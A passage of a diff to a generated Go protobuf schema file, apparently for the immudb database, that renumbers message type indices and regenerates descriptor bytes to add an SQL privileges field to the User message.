(*TruncateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{122} + return file_schema_proto_rawDescGZIP(), []int{124} } func (x *TruncateDatabaseResponse) GetDatabase() string { @@ -8740,7 +8926,7 @@ type Precondition_KeyMustExistPrecondition struct { func (x *Precondition_KeyMustExistPrecondition) Reset() { *x = Precondition_KeyMustExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[123] + mi := &file_schema_proto_msgTypes[125] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8753,7 +8939,7 @@ func (x *Precondition_KeyMustExistPrecondition) String() string { func (*Precondition_KeyMustExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[123] + mi := &file_schema_proto_msgTypes[125] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8789,7 +8975,7 @@ type Precondition_KeyMustNotExistPrecondition struct { func (x *Precondition_KeyMustNotExistPrecondition) Reset() { *x = Precondition_KeyMustNotExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[124] + mi := &file_schema_proto_msgTypes[126] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8802,7 +8988,7 @@ func (x *Precondition_KeyMustNotExistPrecondition) String() string { func (*Precondition_KeyMustNotExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[124] + mi := &file_schema_proto_msgTypes[126] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8840,7 +9026,7 @@ type Precondition_KeyNotModifiedAfterTXPrecondition struct { func (x *Precondition_KeyNotModifiedAfterTXPrecondition) Reset() { *x = Precondition_KeyNotModifiedAfterTXPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[125] + mi := &file_schema_proto_msgTypes[127] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8853,7 +9039,7 @@ func (x *Precondition_KeyNotModifiedAfterTXPrecondition) String() string { func (*Precondition_KeyNotModifiedAfterTXPrecondition) ProtoMessage() {} func (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[125] + mi := &file_schema_proto_msgTypes[127] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8902,7 +9088,7 @@ var file_schema_proto_rawDesc = []byte{ 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, - 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xab, 0x01, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, + 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xee, 0x01, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, @@ -8913,214 +9099,247 @@ var file_schema_proto_rawDesc = []byte{ 0x1c, 0x0a, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x61, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x61, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, - 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x35, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x29, 0x0a, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x55, 0x73, 0x65, 0x72, 0x52, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x22, 0x7f, 0x0a, 0x11, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x21, 0x0a, - 0x0b, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x41, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x50, 0x72, 0x69, 0x76, + 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x50, 0x72, + 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x22, 0x35, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, + 0x4c, 0x69, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x52, 0x05, 0x75, 0x73, 0x65, 0x72, 0x73, 0x22, + 0x7f, 0x0a, 0x11, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x22, 0x21, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, + 0x73, 0x65, 0x72, 0x22, 0x6f, 0x0a, 0x15, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, - 0x22, 0x6f, 0x0a, 0x15, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, - 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, - 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x20, 0x0a, - 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, - 0x20, 0x0a, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x22, 0x3e, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x22, 0x3f, 0x0a, 0x0d, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x77, 0x61, 0x72, 0x6e, - 0x69, 0x6e, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x77, 0x61, 0x72, 0x6e, 0x69, - 0x6e, 0x67, 0x22, 0x20, 0x0a, 0x0a, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x26, 0x0a, 0x0a, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x22, 0x70, 0x0a, 0x12, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x53, - 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, - 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, - 0x55, 0x49, 0x44, 0x22, 0x80, 0x04, 0x0a, 0x0c, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x5a, 0x0a, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, - 0x78, 0x69, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x34, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, - 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, - 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, - 0x48, 0x00, 0x52, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, - 0x12, 0x63, 0x0a, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, - 0x69, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, - 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, - 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, - 0x45, 0x78, 0x69, 0x73, 0x74, 0x12, 0x75, 0x0a, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, - 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, - 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, + 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x6f, 0x6c, 0x64, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, + 0x72, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x6e, 0x65, 0x77, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3e, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x22, 0x3f, 0x0a, 0x0d, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x77, + 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x77, 0x61, + 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x22, 0x20, 0x0a, 0x0a, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x26, 0x0a, 0x0a, 0x4d, 0x54, 0x4c, 0x53, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x22, + 0x70, 0x0a, 0x12, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, + 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x22, 0x53, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x22, 0x80, 0x04, 0x0a, 0x0c, 0x50, 0x72, 0x65, 0x63, 0x6f, + 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x5a, 0x0a, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, + 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x34, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, + 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, + 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x0c, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, + 0x69, 0x73, 0x74, 0x12, 0x63, 0x0a, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, + 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, + 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, + 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x12, 0x75, 0x0a, 0x15, 0x6b, 0x65, 0x79, 0x4e, + 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, + 0x58, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, + 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, + 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, + 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x1a, + 0x2c, 0x0a, 0x18, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, + 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x2f, 0x0a, + 0x1b, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, + 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x49, + 0x0a, 0x21, 0x4b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, - 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x1a, 0x2c, 0x0a, 0x18, - 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, - 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x2f, 0x0a, 0x1b, 0x4b, 0x65, - 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, - 0x63, 